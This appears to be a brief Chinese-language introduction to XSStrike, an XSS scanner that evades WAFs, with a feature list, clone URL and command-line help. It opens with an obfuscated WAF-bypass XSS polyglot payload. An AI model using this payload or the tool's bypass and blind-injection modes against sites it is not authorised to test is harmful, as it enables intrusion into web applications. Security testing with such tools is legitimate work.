XSStrike – 可识别并绕过WAF的XSS扫描工具

}]};(confirm)()//<A%0aONMouseOvER%0d=%0d[8].find(confirm)>z</tiTlE/><a%0donpOintErentER%0d=%0d(prompt)``>z</SCRiPT/><DETAILs/+/onpoINTERenTEr%0a=%0aa=prompt,a()//

    反射和 DOM XSS 扫描    多线程爬虫    Context分析    可配置的核心    检测和规避 WAF    老旧的 JS 库扫描    智能payload生成器    手工制作的 HTML & JavaScript 解析器    强大的fuzzing引擎    盲打 XSS 支持    高效的工作流    完整的 HTTP 支持    Bruteforce payloads支持    Payload编码

https://github.com/s0md3v/XSStrike.git
usage: xsstrike.py [-h] [-u TARGET] [--data DATA] [-t THREADS] [--seeds SEEDS] [--json] [--path]                   [--fuzzer] [--update] [--timeout] [--params] [--crawl] [--blind]                   [--skip-dom] [--headers] [--proxy] [-d DELAY] [-e ENCODING]
optional arguments:  -h, --help            show this help message and exit  -u, --url             target url  --data                post data  -f, --file            load payloads from a file  -t, --threads         number of threads  -l, --level           level of crawling  -t, --encode          payload encoding  --json                treat post data as json  --path                inject payloads in the path  --seeds               load urls from a file as seeds  --fuzzer              fuzzer  --update              update  --timeout             timeout  --params              find params  --crawl               crawl  --proxy               use prox(y|ies)  --blind               inject blind xss payloads while crawling  --skip                skip confirmation dialogue and poc  --skip-dom            skip dom checking  --headers             add headers  -d, --delay           delay between requests